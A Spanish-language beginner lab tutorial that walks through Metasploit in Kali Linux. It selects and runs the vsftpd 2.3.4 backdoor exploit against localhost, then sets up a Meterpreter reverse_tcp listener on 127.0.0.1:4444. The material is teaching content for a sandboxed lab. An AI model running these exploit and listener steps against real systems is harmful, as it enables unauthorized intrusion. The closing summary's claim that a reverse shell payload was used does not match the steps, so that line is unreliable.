Introducción
En este laboratorio, aprenderás los fundamentos de las pruebas de penetración (penetration testing) utilizando Kali Linux dentro de un entorno controlado en la máquina virtual de LabEx. El enfoque principal es aprovechar el potente Metasploit Framework para identificar vulnerabilidades, configurar payloads, ejecutar exploits e interactuar con sistemas comprometidos a través de una sesión de Meterpreter. Diseñado para principiantes, este laboratorio te guía paso a paso a través de técnicas esenciales de ciberseguridad de una manera segura y estructurada. Al abrir la terminal, te conectarás automáticamente al shell del contenedor de Kali Linux, listo para comenzar a practicar sin necesidad de iniciar o ingresar al contenedor manualmente.
Iniciar Metasploit Framework
En este primer paso, iniciarás el Metasploit Framework, una herramienta clave para las pruebas de penetración en Kali Linux. Este paso es esencial, ya que prepara el entorno para identificar y explotar vulnerabilidades en los pasos posteriores.
Cuando abras la terminal en la máquina virtual de LabEx, te conectarás automáticamente al shell del contenedor de Kali Linux. No es necesario iniciar el contenedor ni ingresar al shell manualmente; el entorno ya está configurado para ti.
Antes de usar Metasploit, debes asegurarte de que esté instalado en el contenedor de Kali Linux. Primero, actualiza la lista de paquetes escribiendo el siguiente comando en la terminal y presionando Enter:
apt update
A continuación, instala el Metasploit Framework. Esta instalación puede tardar unos minutos, así que espera a que se complete.
apt install -y metasploit-framework
Una vez instalado, inicia la consola de Metasploit escribiendo el siguiente comando y presionando Enter:
msfconsole
La primera vez que ejecutes este comando, puede tardar un momento en inicializarse mientras configura la base de datos y carga los módulos. Verás un banner de arte ASCII y un prompt similar a este cuando Metasploit se inicie:
Metasploit Framework
...
msf6 >
El prompt msf6 > indica que ahora estás dentro de la consola de Metasploit, listo para interactuar con el framework. No cierres la consola, ya que la usarás en el siguiente paso para buscar y seleccionar un exploit.
Buscar y seleccionar un exploit
Ahora que has iniciado el Metasploit Framework, el siguiente paso es buscar y seleccionar un exploit. Un exploit es un fragmento de código que aprovecha una vulnerabilidad de software para provocar un comportamiento no deseado, como obtener acceso no autorizado.
Como ya estás en la consola de Metasploit (con el prompt msf6 >), busquemos un exploit relacionado con FTP (File Transfer Protocol), un servicio común que puede tener vulnerabilidades. Escribe el siguiente comando y presiona Enter:
search ftp
Este comando enumera los exploits y módulos auxiliares relacionados con FTP. La salida mostrará una tabla con los módulos coincidentes.
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
1 auxiliary/scanner/ftp/ftp_version normal No FTP Version Scanner
2 auxiliary/scanner/ftp/anonymous normal No FTP Anonymous Access Scanner
...
Para este laboratorio, utilizaremos el exploit vsftpd_234_backdoor. Para seleccionarlo, usa el comando use seguido del nombre del exploit.
use exploit/unix/ftp/vsftpd_234_backdoor
Después de seleccionar el exploit, tu prompt cambiará para incluir el nombre del exploit, lo que indica que ahora es el módulo activo.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
Para ver información detallada sobre el exploit seleccionado, incluidas sus opciones y requisitos, escribe el comando info.
info
La salida proporciona detalles como la plataforma, la arquitectura y los objetivos disponibles.
Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03
Ahora has seleccionado un exploit con éxito. En el siguiente paso, configurarás un payload para este exploit.
Nota: Labby no puede obtener los registros de operaciones en el shell de msf, por lo que los siguientes pasos no serán verificados.
Configurar el exploit y el payload
Con el exploit seleccionado, ahora debes configurar sus opciones y establecer un payload. Un payload es el código que se ejecutará en el sistema objetivo después de que el exploit tenga éxito. Para este laboratorio, configurarás un payload de shell de comandos interactivo que te permite ejecutar comandos en el sistema objetivo.
Importante: Antes de establecer un payload, es crucial verificar qué payloads son compatibles con el exploit seleccionado. Usa el siguiente comando para ver todos los payloads compatibles:
show payloads
Esto mostrará una lista de payloads que funcionan con el exploit vsftpd_234_backdoor. Deberías ver solo un payload compatible: cmd/unix/interact.
Primero, establece el payload. Usaremos el shell de comandos interactivo que es compatible con este exploit. El nombre del payload cmd/unix/interact sigue una estructura específica: <arquitectura>/<plataforma>/<tipo>. Aquí, cmd indica una arquitectura de shell de comandos, unix especifica la plataforma objetivo e interact significa que proporcionará una sesión interactiva.
set payload cmd/unix/interact
Verás un mensaje de confirmación.
payload => cmd/unix/interact
A continuación, debes configurar las opciones del exploit. La opción RHOST (Remote Host) especifica la dirección IP de la máquina objetivo. Para esta simulación, la estableceremos en 127.0.0.1.
set RHOST 127.0.0.1
Nota importante: A diferencia de los payloads de reverse shell, el payload cmd/unix/interact no requiere configuraciones de LHOST o LPORT. Este payload establece una sesión de comandos interactiva directamente con el objetivo.
Para verificar todas las configuraciones, usa el comando show options.
show options
Esto muestra una tabla de opciones para el exploit. Verifica que RHOST esté configurado correctamente.
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Tu exploit y payload ahora están configurados y listos para la ejecución en el siguiente paso.
Ejecutar el exploit
Una vez configurados el exploit y el payload, estás listo para ejecutarlo. El comando exploit le indica a Metasploit que lance el ataque contra el objetivo especificado (RHOST).
En tu consola de Metasploit, simplemente escribe el siguiente comando y presiona Enter:
exploit
Metasploit intentará ejecutar el exploit. Dado que no hay un servicio VSFTPD vulnerable real ejecutándose en 127.0.0.1 en este entorno de laboratorio, el exploit fallará. Esto es esperado y demuestra el proceso de lanzamiento de un ataque.
La salida mostrará que Metasploit intentó conectarse al servicio FTP objetivo pero falló porque el servicio no se está ejecutando:
[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.
Nota: Con el payload cmd/unix/interact, no verías un listener de reverse shell iniciándose. En su lugar, este payload intentaría establecer una sesión de comandos interactiva directa con el servicio FTP objetivo si fuera vulnerable y accesible.
El mensaje Exploit completed, but no session was created confirma el fallo. En un escenario exitoso con un servicio VSFTPD vulnerable, esto establecería una sesión de shell de comandos interactiva, permitiéndote ejecutar comandos directamente en el sistema objetivo. Este paso te enseña el comando fundamental para lanzar un exploit, que es una parte central del flujo de trabajo de las pruebas de penetración.
Configurar un listener de Meterpreter
En este paso final, aprenderás a configurar un listener para un payload de Meterpreter. Meterpreter es un payload avanzado y rico en funciones que proporciona un shell interactivo en el sistema objetivo. En lugar de lanzar un exploit, utilizarás el módulo exploit/multi/handler para escuchar conexiones entrantes. Esto es útil cuando un exploit se entrega por otros medios (por ejemplo, un archivo malicioso) y necesitas capturar la conexión inversa.
Primero, cambia al módulo multi/handler.
use exploit/multi/handler
Tu prompt cambiará para reflejar el nuevo módulo.
msf6 exploit(multi/handler) >
A continuación, establece un payload de Meterpreter. Usaremos uno diseñado para sistemas Linux. El nombre del payload linux/x86/meterpreter/reverse_tcp sigue una estructura lógica: <plataforma>/<arquitectura>/<tipo>/<protocolo>. Especifica una plataforma Linux, arquitectura x86, un tipo de payload Meterpreter y un protocolo de conexión TCP inversa.
set payload linux/x86/meterpreter/reverse_tcp
Ahora, configura las opciones del listener, LHOST y LPORT, tal como lo hiciste anteriormente.
set LHOST 127.0.0.1
Nota: Es posible que veas un mensaje de advertencia sobre la vinculación a una dirección de loopback. Esto es normal cuando se usa localhost (127.0.0.1) y se puede ignorar de forma segura para este laboratorio.
set LPORT 4444
Finalmente, inicia el listener usando el comando exploit.
exploit
Metasploit iniciará un listener en la IP y el puerto especificados, esperando que se conecte una sesión de Meterpreter.
[*] Started reverse TCP handler on 127.0.0.1:4444
La consola permanecerá activa, esperando una conexión. En un escenario real, si una máquina objetivo ejecutara el payload de Meterpreter correspondiente, se establecería una sesión aquí. Dado que ningún objetivo se conectará en este laboratorio, puedes detener el listener presionando Ctrl + C.
Para salir de la consola de Metasploit, escribe exit y presiona Enter.
Resumen
En este laboratorio, has aprendido los pasos fundamentales de las pruebas de penetración utilizando Kali Linux y el Metasploit Framework. Comenzaste iniciando Metasploit, buscaste y seleccionaste un exploit, configuraste tanto el exploit como un payload de reverse shell, y ejecutaste el ataque en un entorno simulado. También aprendiste a configurar un listener independiente para un payload avanzado de Meterpreter. Estos pasos proporcionan una introducción práctica al flujo de trabajo central de identificación de vulnerabilidades, preparación de payloads y comprensión del proceso de explotación. Al seguir este enfoque estructurado, has obtenido experiencia práctica con herramientas y técnicas esenciales de ciberseguridad.


